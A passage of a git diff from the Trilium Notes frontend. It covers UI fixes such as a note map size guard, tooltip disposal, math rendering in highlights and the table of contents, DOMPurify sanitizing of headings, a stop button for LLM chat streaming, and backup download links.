note: FNote;
widgetMode: NoteMapWidgetMode;
@@ -34,6 +38,7 @@ export default function NoteMap({ note, widgetMode, parentRef }: NoteMapProps) {
const containerSize = useElementSize(parentRef);
const [ fixNodes, setFixNodes ] = useState(false);
const [ linkDistance, setLinkDistance ] = useState(40);
const [ tooManyNotes, setTooManyNotes ] = useState<number | null>(null);
const notesAndRelationsRef = useRef<NotesAndRelationsData>();
const mapRootId = useMemo(() => {
@@ -61,6 +66,14 @@ export default function NoteMap({ note, widgetMode, parentRef }: NoteMapProps) {
const includeRelations = labelValues("mapIncludeRelation");
loadNotesAndRelations(mapRootId, excludeRelations, includeRelations, mapType).then((notesAndRelations) => {
if (!containerRef.current || !styleResolverRef.current) return;
// Guard against rendering too many notes which would freeze the browser.
if (notesAndRelations.nodes.length > MAX_NOTES_THRESHOLD) {
setTooManyNotes(notesAndRelations.nodes.length);
return;
}
setTooManyNotes(null);
const cssData = getCssData(containerRef.current, styleResolverRef.current);
// Configure rendering properties.
@@ -119,6 +132,12 @@ export default function NoteMap({ note, widgetMode, parentRef }: NoteMapProps) {
});
}, [ fixNodes, mapType ]);
if (tooManyNotes) {
return (
<NoItems icon="bx bx-error-circle" text={t("note_map.too-many-notes", { count: tooManyNotes, max: MAX_NOTES_THRESHOLD })} />
);
}
return (
<div className="note-map-widget">
<div className="btn-group btn-group-sm map-type-switcher content-floating-buttons top-left" role="group">

View File

@@ -1,15 +1,16 @@
import { useEffect, useRef, useState } from "preact/hooks";
import { t } from "../services/i18n";
import FormTextBox from "./react/FormTextBox";
import { useNoteContext, useNoteProperty, useSpacedUpdate, useTriliumEvent, useTriliumEvents } from "./react/hooks";
import protected_session_holder from "../services/protected_session_holder";
import server from "../services/server";
import "./note_title.css";
import { isLaunchBarConfig } from "../services/utils";
import clsx from "clsx";
import { useEffect, useRef, useState } from "preact/hooks";
import appContext from "../components/app_context";
import branches from "../services/branches";
import { t } from "../services/i18n";
import protected_session_holder from "../services/protected_session_holder";
import server from "../services/server";
import { isIMEComposing } from "../services/shortcuts";
import clsx from "clsx";
import FormTextBox from "./react/FormTextBox";
import { useNoteContext, useNoteProperty, useSpacedUpdate, useTriliumEvent, useTriliumEvents } from "./react/hooks";
export default function NoteTitleWidget(props: {className?: string}) {
const { note, noteId, componentId, viewScope, noteContext, parentComponent } = useNoteContext();
@@ -25,8 +26,7 @@ export default function NoteTitleWidget(props: {className?: string}) {
const isReadOnly = note === null
|| note === undefined
|| (note.isProtected && !protected_session_holder.isProtectedSessionAvailable())
|| isLaunchBarConfig(note.noteId)
|| note.noteId.startsWith("_help_")
|| note.isMetadataReadOnly
|| viewScope?.viewMode !== "default";
setReadOnly(isReadOnly);
}, [ note, note?.noteId, note?.isProtected, viewScope?.viewMode ]);
@@ -58,11 +58,29 @@ export default function NoteTitleWidget(props: {className?: string}) {
// Manage focus.
const textBoxRef = useRef<HTMLInputElement>(null);
const isNewNote = useRef<boolean>();
const pendingSelect = useRef<boolean>(false);
// Re-apply selection when title changes if we have a pending select.
// This handles the case where the server sends back entity changes after we've
// already called select(), which causes the controlled input to re-render and lose selection.
useEffect(() => {
if (pendingSelect.current && textBoxRef.current && document.activeElement === textBoxRef.current) {
textBoxRef.current.select();
pendingSelect.current = false;
}
}, [title]);
useTriliumEvents([ "focusOnTitle", "focusAndSelectTitle" ], (e, eventName) => {
if (noteContext?.isActive() && textBoxRef.current) {
// In the new layout, there are two NoteTitleWidget instances. Only handle if visible.
if (!textBoxRef.current.checkVisibility({ checkOpacity: true })) {
return;
}
textBoxRef.current.focus();
if (eventName === "focusAndSelectTitle") {
textBoxRef.current.select();
pendingSelect.current = true;
}
isNewNote.current = ("isNewNote" in e ? e.isNewNote : false);
}
@@ -83,6 +101,9 @@ export default function NoteTitleWidget(props: {className?: string}) {
spacedUpdate.scheduleUpdate();
}}
onKeyDown={(e) => {
// User started typing, stop re-applying selection
pendingSelect.current = false;
// Skip processing if IME is composing to prevent interference
// with text input in CJK languages
if (isIMEComposing(e)) {
@@ -101,6 +122,7 @@ export default function NoteTitleWidget(props: {className?: string}) {
}
}}
onBlur={() => {
pendingSelect.current = false;
spacedUpdate.updateNowIfNecessary();
isNewNote.current = false;
}}

View File

@@ -1,5 +1,4 @@
import type { ComponentChildren, CSSProperties, RefObject } from "preact";
import { memo } from "preact/compat";
import { useMemo } from "preact/hooks";
import { CommandNames } from "../../components/app_context";
@@ -27,7 +26,7 @@ export interface ButtonProps {
title?: string;
}
const Button = memo(({ name, buttonRef, className, text, onClick, keyboardShortcut, icon, kind, disabled, size, style, triggerCommand, ...restProps }: ButtonProps) => {
function Button({ name, buttonRef, className, text, onClick, keyboardShortcut, icon, kind, disabled, size, style, triggerCommand, ...restProps }: ButtonProps) {
// Memoize classes array to prevent recreation
const classes = useMemo(() => {
const classList: string[] = ["btn"];
@@ -83,7 +82,7 @@ const Button = memo(({ name, buttonRef, className, text, onClick, keyboardShortc
{text} {shortcutElements}
</button>
);
});
}
export function ButtonGroup({ children }: { children: ComponentChildren }) {
return (

View File

@@ -35,6 +35,14 @@
flex-direction: column;
gap: var(--card-section-gap);
.tn-card-section.tn-no-padding {
padding: 0;
& .table {
margin-bottom: 0;
}
}
.tn-card-section {
&:first-of-type {
border-top-left-radius: var(--card-border-radius);

View File

@@ -50,6 +50,7 @@ export interface CardSectionProps {
subSectionsVisible?: boolean;
highlightOnHover?: boolean;
onAction?: () => void;
noPadding?: boolean;
}
interface CardSectionContextType {
@@ -65,7 +66,8 @@ export function CardSection(props: {children: ComponentChildren} & CardSectionPr
return <>
<section className={clsx("tn-card-section", props.className, {
"tn-card-section-nested": nestingLevel > 0,
"tn-card-highlight-on-hover": props.highlightOnHover || props.onAction
"tn-card-highlight-on-hover": props.highlightOnHover || props.onAction,
"tn-no-padding": props.noPadding
})}
style={{"--tn-card-section-nesting-level": (nestingLevel) ? nestingLevel : null}}
onClick={props.onAction}>

View File

@@ -7,17 +7,22 @@ import { ComponentChildren } from "preact";
interface FormToggleProps {
currentValue: boolean | null;
onChange(newValue: boolean): void;
switchOnName: string;
/** Label shown when toggle is off. If omitted along with switchOffName, no label is shown. */
switchOnName?: string;
switchOnTooltip?: string;
switchOffName: string;
/** Label shown when toggle is on. If omitted along with switchOnName, no label is shown. */
switchOffName?: string;
switchOffTooltip?: string;
helpPage?: string;
disabled?: boolean;
afterName?: ComponentChildren;
/** ID for the input element, useful for accessibility with external labels */
id?: string;
}
export default function FormToggle({ currentValue, helpPage, switchOnName, switchOnTooltip, switchOffName, switchOffTooltip, onChange, disabled, afterName }: FormToggleProps) {
export default function FormToggle({ currentValue, helpPage, switchOnName, switchOnTooltip, switchOffName, switchOffTooltip, onChange, disabled, afterName, id }: FormToggleProps) {
const [ disableTransition, setDisableTransition ] = useState(true);
const hasLabel = switchOnName || switchOffName;
useEffect(() => {
const timeout = setTimeout(() => {
@@ -28,7 +33,7 @@ export default function FormToggle({ currentValue, helpPage, switchOnName, switc
return (
<div className="switch-widget">
<span className="switch-name">{ currentValue ? switchOffName : switchOnName }</span>
{hasLabel && <span className="switch-name">{ currentValue ? switchOffName : switchOnName }</span>}
{ afterName }
<label>
@@ -37,6 +42,7 @@ export default function FormToggle({ currentValue, helpPage, switchOnName, switc
title={currentValue ? switchOffTooltip : switchOnTooltip }
>
<input
id={id}
className="switch-toggle"
type="checkbox"
checked={currentValue === true}

View File

@@ -1,7 +1,6 @@
import { Modal as BootstrapModal } from "bootstrap";
import clsx from "clsx";
import { ComponentChildren, CSSProperties, RefObject } from "preact";
import { memo } from "preact/compat";
import { useEffect, useMemo, useRef } from "preact/hooks";
import { openDialog } from "../../services/dialog";
@@ -186,7 +185,7 @@ export default function Modal({ children, className, size, title, customTitleBar
);
}
const ModalInner = memo(({ children, footer, footerAlignment, bodyStyle, footerStyle: _footerStyle }: Pick<ModalProps, "children" | "footer" | "footerAlignment" | "bodyStyle" | "footerStyle">) => {
function ModalInner({ children, footer, footerAlignment, bodyStyle, footerStyle: _footerStyle }: Pick<ModalProps, "children" | "footer" | "footerAlignment" | "bodyStyle" | "footerStyle">) {
// Memoize footer style
const footerStyle = useMemo<CSSProperties>(() => {
const style: CSSProperties = _footerStyle ?? {};
@@ -209,4 +208,4 @@ const ModalInner = memo(({ children, footer, footerAlignment, bodyStyle, footerS
)}
</>
);
});
}

View File

@@ -15,6 +15,7 @@ import attributes from "../../services/attributes";
import froca from "../../services/froca";
import keyboard_actions from "../../services/keyboard_actions";
import { ViewScope } from "../../services/link";
import math from "../../services/math";
import options, { type OptionValue } from "../../services/options";
import protected_session_holder from "../../services/protected_session_holder";
import server from "../../services/server";
@@ -825,13 +826,43 @@ export function useWindowSize() {
return size;
}
// Workaround for https://github.com/twbs/bootstrap/issues/37474
// Bootstrap's dispose() sets ALL properties to null. But pending animation callbacks
// (scheduled via setTimeout) can still fire and crash when accessing null properties.
// We patch dispose() to set safe placeholder values instead of null.
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const TooltipProto = Tooltip.prototype as any;
const originalDispose = TooltipProto.dispose;
const disposedTooltipPlaceholder = {
activeTrigger: {},
element: document.createElement("noscript")
};
TooltipProto.dispose = function () {
originalDispose.call(this);
// After disposal, set safe values so pending callbacks don't crash
this._activeTrigger = disposedTooltipPlaceholder.activeTrigger;
this._element = disposedTooltipPlaceholder.element;
};
export function useTooltip(elRef: RefObject<HTMLElement>, config: Partial<Tooltip.Options>) {
useEffect(() => {
if (!elRef?.current) return;
const $el = $(elRef.current);
$el.tooltip("dispose");
const element = elRef.current;
const $el = $(element);
// Dispose any existing tooltip before creating a new one
Tooltip.getInstance(element)?.dispose();
$el.tooltip(config);
// Capture the tooltip instance now, since elRef.current may be null during cleanup.
const tooltip = Tooltip.getInstance(element);
return () => {
if (element.isConnected) {
tooltip?.dispose();
}
};
}, [ elRef, config ]);
const showTooltip = useCallback(() => {
@@ -866,8 +897,14 @@ export function useStaticTooltip(elRef: RefObject<Element>, config?: Partial<Too
const hasTooltip = config?.title || elRef.current?.getAttribute("title");
if (!elRef?.current || !hasTooltip) return;
const tooltip = Tooltip.getOrCreateInstance(elRef.current, config);
elRef.current.addEventListener("show.bs.tooltip", () => {
// Capture element now, since elRef.current may be null during cleanup.
const element = elRef.current;
// Dispose any existing tooltip before creating a new one
Tooltip.getInstance(element)?.dispose();
const tooltip = new Tooltip(element, config);
element.addEventListener("show.bs.tooltip", () => {
// Hide all the other tooltips.
for (const otherTooltip of tooltips) {
if (otherTooltip === tooltip) continue;
@@ -878,12 +915,11 @@ export function useStaticTooltip(elRef: RefObject<Element>, config?: Partial<Too
return () => {
tooltips.delete(tooltip);
tooltip.dispose();
// workaround for https://github.com/twbs/bootstrap/issues/37474
(tooltip as any)._activeTrigger = {};
(tooltip as any)._element = document.createElement('noscript'); // placeholder with no behavior
if (element.isConnected) {
tooltip.dispose();
}
// Remove *all* tooltip elements from the DOM
// Remove any lingering tooltip popup elements from the DOM.
document
.querySelectorAll('.tooltip')
.forEach(t => t.remove());
@@ -1400,3 +1436,38 @@ export function useColorScheme() {
return prefersDark ? "dark" : "light";
}
/**
* Renders math equations within elements that have the `.math-tex` class.
* Used by sidebar widgets like Table of Contents and Highlights list to display math content.
*
* @param containerRef - Ref to the container element that may contain math elements
* @param deps - Dependencies that trigger re-rendering (e.g., text content)
*/
export function useMathRendering(containerRef: RefObject<HTMLElement>, deps: unknown[]) {
useEffect(() => {
if (!containerRef.current) return;
// Support both read-only (.math-tex) and CKEditor editing view (.ck-math-tex) classes
const mathElements = containerRef.current.querySelectorAll(".math-tex, .ck-math-tex");
for (const mathEl of mathElements) {
// Skip if already rendered by KaTeX
if (mathEl.querySelector(".katex")) continue;
try {
let equation = mathEl.textContent || "";
// CKEditor widgets store equation without delimiters, add them for KaTeX
if (mathEl.classList.contains("ck-math-tex")) {
// Check if it's display mode or inline
const isDisplay = mathEl.classList.contains("ck-math-tex-display");
equation = isDisplay ? `\\[${equation}\\]` : `\\(${equation}\\)`;
}
math.render(equation, mathEl as HTMLElement);
} catch (e) {
console.warn("Failed to render math:", e);
}
}
}, deps); // eslint-disable-line react-hooks/exhaustive-deps
}

View File

@@ -0,0 +1,52 @@
import { describe, expect, it } from "vitest";
import { extractHighlightsFromStaticHtml } from "./HighlightsList.js";
describe("extractHighlightsFromStaticHtml", () => {
it("extracts a single highlight containing text and math equation together", () => {
const container = document.createElement("div");
container.innerHTML = `<p>
<span style="background-color:hsl(30,75%,60%);">
Highlighted&nbsp;
<span class="math-tex">
\\(e=mc^2\\)
</span>
&nbsp;math
</span>
</p>`;
document.body.appendChild(container);
const highlights = extractHighlightsFromStaticHtml(container);
// Should extract 1 combined highlight, not 3 separate ones
expect(highlights.length).toBe(1);
// The highlight should contain the full innerHTML of the styled span
const highlight = highlights[0];
expect(highlight.text).toContain("Highlighted");
expect(highlight.text).toContain("math-tex");
expect(highlight.text).toContain("e=mc^2");
expect(highlight.text).toContain("math");
expect(highlight.attrs.background).toBeTruthy();
document.body.removeChild(container);
});
it("extracts separate highlights for differently styled spans", () => {
const container = document.createElement("div");
container.innerHTML = `<p>
<span style="background-color:yellow;">Yellow text</span>
normal text
<span style="background-color:red;">Red text</span>
</p>`;
document.body.appendChild(container);
const highlights = extractHighlightsFromStaticHtml(container);
// Should extract 2 separate highlights (yellow and red)
expect(highlights.length).toBe(2);
expect(highlights[0].text).toBe("Yellow text");
expect(highlights[1].text).toBe("Red text");
document.body.removeChild(container);
});
});

View File

@@ -1,11 +1,12 @@
import { CKTextEditor, ModelText } from "@triliumnext/ckeditor5";
import { createPortal } from "preact/compat";
import { useCallback, useEffect, useState } from "preact/hooks";
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import { t } from "../../services/i18n";
import { randomString } from "../../services/utils";
import { useActiveNoteContext, useContentElement, useIsNoteReadOnly, useNoteProperty, useTextEditor, useTriliumOptionJson } from "../react/hooks";
import { useActiveNoteContext, useContentElement, useIsNoteReadOnly, useMathRendering, useNoteProperty, useTextEditor, useTriliumOptionJson } from "../react/hooks";
import Modal from "../react/Modal";
import RawHtml from "../react/RawHtml";
import { HighlightsListOptions } from "../type_widgets/options/text_notes";
import RightPanelWidget from "./RightPanelWidget";
@@ -84,20 +85,11 @@ function AbstractHighlightsList<T extends RawHighlight>({ highlights, scrollToHi
{filteredHighlights.length > 0 ? (
<ol>
{filteredHighlights.map(highlight => (
<li
<HighlightItem
key={highlight.id}
highlight={highlight}
onClick={() => scrollToHighlight(highlight)}
>
<span
style={{
fontWeight: highlight.attrs.bold ? "700" : undefined,
fontStyle: highlight.attrs.italic ? "italic" : undefined,
textDecoration: highlight.attrs.underline ? "underline" : undefined,
color: highlight.attrs.color,
backgroundColor: highlight.attrs.background
}}
>{highlight.text}</span>
</li>
/>
))}
</ol>
) : (
@@ -112,6 +104,31 @@ function AbstractHighlightsList<T extends RawHighlight>({ highlights, scrollToHi
);
}
function HighlightItem<T extends RawHighlight>({ highlight, onClick }: {
highlight: T;
onClick(): void;
}) {
const contentRef = useRef<HTMLElement>(null);
useMathRendering(contentRef, [highlight.text]);
return (
<li onClick={onClick}>
<RawHtml
containerRef={contentRef}
style={{
fontWeight: highlight.attrs.bold ? "700" : undefined,
fontStyle: highlight.attrs.italic ? "italic" : undefined,
textDecoration: highlight.attrs.underline ? "underline" : undefined,
color: highlight.attrs.color,
backgroundColor: highlight.attrs.background
}}
html={highlight.text}
/>
</li>
);
}
//#region Editable text (CKEditor)
interface CKHighlight extends RawHighlight {
textNode: ModelText;
@@ -201,9 +218,24 @@ function extractHighlightsFromTextEditor(editor: CKTextEditor) {
};
if (Object.values(attrs).some(Boolean)) {
// Get HTML content from DOM (includes nested elements like math)
let html = item.data;
try {
const modelPos = editor.model.createPositionAt(item.textNode, "before");
const viewPos = editor.editing.mapper.toViewPosition(modelPos);
const domPos = editor.editing.view.domConverter.viewPositionToDom(viewPos);
if (domPos?.parent instanceof HTMLElement) {
// Get the formatting span's innerHTML (includes math elements)
html = domPos.parent.innerHTML;
}
} catch {
// During change:data events, the view may not be fully synchronized with the model.
// Fall back to using the raw text data.
}
result.push({
id: randomString(),
text: item.data,
text: html,
attrs,
textNode: item.textNode,
offset: item.startOffset
@@ -235,47 +267,65 @@ function ReadOnlyTextHighlightsList() {
/>;
}
function extractHighlightsFromStaticHtml(el: HTMLElement | null) {
export function extractHighlightsFromStaticHtml(el: HTMLElement | null) {
if (!el) return [];
const { color: defaultColor, backgroundColor: defaultBackgroundColor } = getComputedStyle(el);
const walker = document.createTreeWalker(
el,
NodeFilter.SHOW_TEXT,
null
);
const highlights: DomHighlight[] = [];
const processedElements = new Set<Element>();
let node: Node | null;
while ((node = walker.nextNode())) {
const el = node.parentElement;
if (!el || !node.textContent?.trim()) continue;
// Find all elements with inline background-color or color styles
const styledElements = el.querySelectorAll<HTMLElement>('[style*="background-color"], [style*="color"]');
const style = getComputedStyle(el);
for (const styledEl of styledElements) {
if (processedElements.has(styledEl)) continue;
if (!styledEl.textContent?.trim()) continue;
if (
el.closest('strong, em, u') ||
style.color !== defaultColor ||
style.backgroundColor !== defaultBackgroundColor
) {
const attrs: RawHighlight["attrs"] = {
bold: !!el.closest("strong"),
italic: !!el.closest("em"),
underline: !!el.closest("u"),
background: el.style.backgroundColor,
color: el.style.color
};
const attrs: RawHighlight["attrs"] = {
bold: !!styledEl.closest("strong"),
italic: !!styledEl.closest("em"),
underline: !!styledEl.closest("u"),
background: styledEl.style.backgroundColor,
color: styledEl.style.color
};
if (Object.values(attrs).some(Boolean)) {
highlights.push({
id: randomString(),
text: node.textContent,
element: el,
attrs
});
}
if (Object.values(attrs).some(Boolean)) {
processedElements.add(styledEl);
highlights.push({
id: randomString(),
text: styledEl.innerHTML,
element: styledEl,
attrs
});
}
}
// Also find bold, italic, underline elements
const formattingElements = el.querySelectorAll<HTMLElement>("strong, em, u, b, i");
for (const formattedEl of formattingElements) {
// Skip if already processed or inside a processed element
if (processedElements.has(formattedEl)) continue;
if (Array.from(processedElements).some(processed => processed.contains(formattedEl))) continue;
if (!formattedEl.textContent?.trim()) continue;
const attrs: RawHighlight["attrs"] = {
bold: formattedEl.matches("strong, b"),
italic: formattedEl.matches("em, i"),
underline: formattedEl.matches("u"),
background: formattedEl.style.backgroundColor,
color: formattedEl.style.color
};
if (Object.values(attrs).some(Boolean)) {
processedElements.add(formattedEl);
highlights.push({
id: randomString(),
text: formattedEl.innerHTML,
element: formattedEl,
attrs
});
}
}

View File

@@ -5,9 +5,8 @@ import clsx from "clsx";
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import { t } from "../../services/i18n";
import math from "../../services/math";
import { randomString } from "../../services/utils";
import { useActiveNoteContext, useContentElement, useGetContextData, useIsNoteReadOnly, useNoteProperty, useTextEditor } from "../react/hooks";
import { useActiveNoteContext, useContentElement, useGetContextData, useIsNoteReadOnly, useMathRendering, useNoteProperty, useTextEditor } from "../react/hooks";
import Icon from "../react/Icon";
import RawHtml from "../react/RawHtml";
import RightPanelWidget from "./RightPanelWidget";
@@ -84,19 +83,7 @@ function TableOfContentsHeading({ heading, scrollToHeading, activeHeadingId }: {
const isActive = heading.id === activeHeadingId;
const contentRef = useRef<HTMLElement>(null);
// Render math equations after component mounts/updates
useEffect(() => {
if (!contentRef.current) return;
const mathElements = contentRef.current.querySelectorAll(".ck-math-tex");
for (const mathEl of mathElements ?? []) {
try {
math.render(mathEl.textContent || "", mathEl as HTMLElement);
} catch (e) {
console.warn("Failed to render math in TOC:", e);
}
}
}, [heading.text]);
useMathRendering(contentRef, [heading.text]);
return (
<>
@@ -273,7 +260,7 @@ function extractTocFromStaticHtml(el: HTMLElement | null) {
headings.push({
id: randomString(),
level: parseInt(headingEl.tagName.substring(1), 10),
text: headingEl.textContent,
text: headingEl.innerHTML,
element: headingEl
});
}

View File

@@ -21,6 +21,37 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify, { type Config as DOMPurifyConfig } from "dompurify";
/**
* DOMPurify configuration for ToC headings. Uses DOMPurify's built-in HTML
* and MathML profiles for proper namespace handling (required for KaTeX
* rendered equations), then restricts to inline-only elements via FORBID_TAGS.
*/
const TOC_PURIFY_CONFIG: DOMPurifyConfig = {
USE_PROFILES: { html: true, mathMl: true },
// Block elements that should never appear in a ToC heading
FORBID_TAGS: [
"script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template", "form", "input", "textarea",
"button", "select", "option",
// Block-level elements — headings should only contain inline content
"div", "p", "h1", "h2", "h3", "h4", "h5", "h6",
"blockquote", "pre", "section", "article", "aside", "nav",
"header", "footer", "main", "figure", "figcaption",
"table", "thead", "tbody", "tfoot", "tr", "th", "td",
"ul", "ol", "li", "dl", "dt", "dd",
"hr", "img", "video", "audio", "picture", "canvas",
"svg", "foreignObject"
],
FORBID_ATTR: [
"onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress"
],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -337,7 +368,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(headingText);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG) as string);
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -48,6 +48,10 @@
opacity: 0.4;
}
.llm-chat-stop-btn {
color: var(--danger-color, #dc3545);
}
/* Model selector */
.llm-chat-model-selector {
display: flex;

View File

@@ -228,11 +228,11 @@ export default function ChatInputBar({
)}
</div>
<ActionButton
icon={chat.isStreaming ? "bx bx-loader-alt bx-spin" : "bx bx-send"}
text={chat.isStreaming ? t("llm_chat.sending") : t("llm_chat.send")}
onClick={handleSubmit}
disabled={chat.isStreaming || !chat.input.trim()}
className="llm-chat-send-btn"
icon={chat.isStreaming ? "bx bx-stop" : "bx bx-send"}
text={chat.isStreaming ? t("llm_chat.stop") : t("llm_chat.send")}
onClick={chat.isStreaming ? chat.stopStreaming : handleSubmit}
disabled={!chat.isStreaming && !chat.input.trim()}
className={`llm-chat-send-btn ${chat.isStreaming ? "llm-chat-stop-btn" : ""}`}
/>
</div>
</form>

View File

@@ -62,6 +62,8 @@ export interface UseLlmChatReturn {
clearMessages: () => void;
/** Refresh the provider/models list */
refreshModels: () => void;
/** Stop the current generation */
stopStreaming: () => void;
}
export function useLlmChat(
@@ -89,6 +91,7 @@ export function useLlmChat(
const [isCheckingProvider, setIsCheckingProvider] = useState<boolean>(true);
const messagesEndRef = useRef<HTMLDivElement>(null);
const textareaRef = useRef<HTMLTextAreaElement>(null);
const abortControllerRef = useRef<AbortController | null>(null);
// Refs to get fresh values in getContent (avoids stale closures)
const messagesRef = useRef(messages);
@@ -251,6 +254,56 @@ export function useLlmChat(
streamOptions.enableExtendedThinking = enableExtendedThinking;
}
const abortController = new AbortController();
abortControllerRef.current = abortController;
/** Shared cleanup: finalize collected content and reset streaming state. */
function finalizeStream() {
// Mark any in-progress tool calls as stopped so they don't show infinite spinners
for (const [i, block] of contentBlocks.entries()) {
if (block.type === "tool_call" && !block.toolCall.result) {
contentBlocks[i] = {
type: "tool_call",
toolCall: { ...block.toolCall, result: "[Stopped]", isError: true }
};
}
}
const finalNewMessages: StoredMessage[] = [];
if (thinkingContent) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: thinkingContent,
createdAt: new Date().toISOString(),
type: "thinking"
});
}
if (contentBlocks.length > 0) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: contentBlocks,
createdAt: new Date().toISOString(),
citations: citations.length > 0 ? citations : undefined,
usage
});
}
if (finalNewMessages.length > 0) {
setMessages([...newMessages, ...finalNewMessages]);
}
setStreamingContent("");
setStreamingBlocks([]);
setStreamingThinking("");
setPendingCitations([]);
setIsStreaming(false);
abortControllerRef.current = null;
}
await streamChatCompletion(
apiMessages,
streamOptions,
@@ -320,42 +373,19 @@ export function useLlmChat(
setIsStreaming(false);
},
onDone: () => {
const finalNewMessages: StoredMessage[] = [];
if (thinkingContent) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: thinkingContent,
createdAt: new Date().toISOString(),
type: "thinking"
});
}
if (contentBlocks.length > 0) {
finalNewMessages.push({
id: randomString(),
role: "assistant",
content: contentBlocks,
createdAt: new Date().toISOString(),
citations: citations.length > 0 ? citations : undefined,
usage
});
}
if (finalNewMessages.length > 0) {
const allMessages = [...newMessages, ...finalNewMessages];
setMessages(allMessages);
}
setStreamingContent("");
setStreamingBlocks([]);
setStreamingThinking("");
setPendingCitations([]);
setIsStreaming(false);
finalizeStream();
}
},
abortController.signal
).catch((e) => {
// AbortError is expected when user stops generation
if (e instanceof DOMException && e.name === "AbortError") {
finalizeStream();
} else {
// Re-throw other errors so they are not swallowed
throw e;
}
);
});
}, [input, isStreaming, messages, selectedModel, enableWebSearch, enableNoteTools, enableExtendedThinking, contextNoteId, supportsExtendedThinking, setMessages]);
const handleKeyDown = useCallback((e: KeyboardEvent) => {
@@ -365,6 +395,13 @@ export function useLlmChat(
}
}, [handleSubmit]);
/** Stop the current generation by aborting the SSE connection. */
const stopStreaming = useCallback(() => {
if (abortControllerRef.current) {
abortControllerRef.current.abort();
}
}, []);
return {
// State
messages,
@@ -402,6 +439,7 @@ export function useLlmChat(
loadFromContent,
getContent,
clearMessages,
refreshModels
refreshModels,
stopStreaming
};
}

View File

@@ -3,6 +3,7 @@ import "./appearance.css";
import { FontFamily, OptionNames } from "@triliumnext/commons";
import { useEffect, useState } from "preact/hooks";
import zoomService from "../../../components/zoom";
import { t } from "../../../services/i18n";
import server from "../../../services/server";
import { isElectron, isMobile, reloadFrontendApp, restartDesktopApp } from "../../../services/utils";
@@ -14,9 +15,10 @@ import FormGroup from "../../react/FormGroup";
import FormRadioGroup from "../../react/FormRadioGroup";
import FormSelect, { FormSelectWithGroups } from "../../react/FormSelect";
import FormText from "../../react/FormText";
import FormTextBox, { FormTextBoxWithUnit } from "../../react/FormTextBox";
import { FormTextBoxWithUnit } from "../../react/FormTextBox";
import { useTriliumOption, useTriliumOptionBool } from "../../react/hooks";
import Icon from "../../react/Icon";
import OptionsRow from "./components/OptionsRow";
import OptionsSection from "./components/OptionsSection";
import PlatformIndicator from "./components/PlatformIndicator";
import RadioWithIllustration from "./components/RadioWithIllustration";
@@ -333,20 +335,23 @@ function Font({ title, fontFamilyOption, fontSizeOption }: { title: string, font
}
function ElectronIntegration() {
const [ zoomFactor, setZoomFactor ] = useTriliumOption("zoomFactor");
const [ zoomFactor ] = useTriliumOption("zoomFactor");
const [ nativeTitleBarVisible, setNativeTitleBarVisible ] = useTriliumOptionBool("nativeTitleBarVisible");
const [ backgroundEffects, setBackgroundEffects ] = useTriliumOptionBool("backgroundEffects");
const zoomPercentage = Math.round(parseFloat(zoomFactor || "1") * 100);
return (
<OptionsSection title={t("electron_integration.desktop-application")}>
<FormGroup name="zoom-factor" label={t("electron_integration.zoom-factor")} description={t("zoom_factor.description")}>
<FormTextBox
<OptionsRow name="zoom-factor" label={t("electron_integration.zoom-factor")} description={t("zoom_factor.description")}>
<FormTextBoxWithUnit
type="number"
min="0.3" max="2.0" step="0.1"
currentValue={zoomFactor} onChange={setZoomFactor}
min={50} max={200} step={10}
currentValue={String(zoomPercentage)}
onChange={(v) => zoomService.setZoomFactorAndSave(parseInt(v, 10) / 100)}
unit={t("units.percentage")}
/>
</FormGroup>
<hr/>
</OptionsRow>
<FormGroup name="native-title-bar" description={t("electron_integration.native-title-bar-description")}>
<FormCheckbox

View File

@@ -1,15 +1,16 @@
import { BackupDatabaseNowResponse, DatabaseBackup } from "@triliumnext/commons";
import { useCallback, useEffect, useState } from "preact/hooks";
import { t } from "../../../services/i18n";
import server from "../../../services/server";
import toast from "../../../services/toast";
import { formatDateTime } from "../../../utils/formatters";
import Button from "../../react/Button";
import FormCheckbox from "../../react/FormCheckbox";
import { FormMultiGroup } from "../../react/FormGroup";
import FormText from "../../react/FormText";
import { useTriliumOptionBool } from "../../react/hooks";
import OptionsSection from "./components/OptionsSection";
import { useCallback, useEffect, useState } from "preact/hooks";
import { formatDateTime } from "../../../utils/formatters";
export default function BackupSettings() {
const [ backups, setBackups ] = useState<DatabaseBackup[]>([]);
@@ -35,7 +36,7 @@ export default function BackupSettings() {
<BackupNow refreshCallback={refreshBackups} />
<BackupList backups={backups} />
</>
)
);
}
export function AutomaticBackup() {
@@ -67,7 +68,7 @@ export function AutomaticBackup() {
<FormText>{t("backup.backup_recommendation")}</FormText>
</OptionsSection>
)
);
}
export function BackupNow({ refreshCallback }: { refreshCallback: () => void }) {
@@ -82,7 +83,7 @@ export function BackupNow({ refreshCallback }: { refreshCallback: () => void })
}}
/>
</OptionsSection>
)
);
}
export function BackupList({ backups }: { backups: DatabaseBackup[] }) {
@@ -92,11 +93,13 @@ export function BackupList({ backups }: { backups: DatabaseBackup[] }) {
<colgroup>
<col width="33%" />
<col />
<col width="1%" />
</colgroup>
<thead>
<tr>
<th>{t("backup.date-and-time")}</th>
<th>{t("backup.path")}</th>
<th />
</tr>
</thead>
<tbody>
@@ -105,15 +108,20 @@ export function BackupList({ backups }: { backups: DatabaseBackup[] }) {
<tr>
<td>{mtime ? formatDateTime(mtime) : "-"}</td>
<td className="selectable-text">{filePath}</td>
<td>
<a href={`api/database/backup/download?filePath=${encodeURIComponent(filePath)}`} download>
